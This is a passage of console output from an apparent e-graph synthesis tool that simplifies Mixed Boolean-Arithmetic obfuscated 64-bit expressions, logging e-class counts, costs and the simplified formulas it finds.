)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))+(-(((((~x)|y)*0xf54ea735bf818f75)+(0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b))))))-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 1614
Synthesized (cost = 246): (-0x9e3de1dbaff27723*(((0x2*((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b))+((((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)+0xab158ca407e708b))+((x-(x&y))*0xab158ca407e708b))))
====================================================================================================
eclasses #: 9291
Synthesized (cost = 32): (0x9e3de1dbaff27723*((((~((y-x)|(~(x*y))))*0x1562b19480fce116)+((x*(y*0xf54ea735bf818f75))+((y-x)*0xab158ca407e708b)))+((x&(~y))*0xab158ca407e708b)))
====================================================================================================
eclasses #: 154426
Synthesized (cost = 12): (((y-x)^(x*y))+(x&(~y)))
e-graph reset done.
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#34)
python3 synth.py
eclasses #: 151
Input (cost = 13090): ((-((((((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0x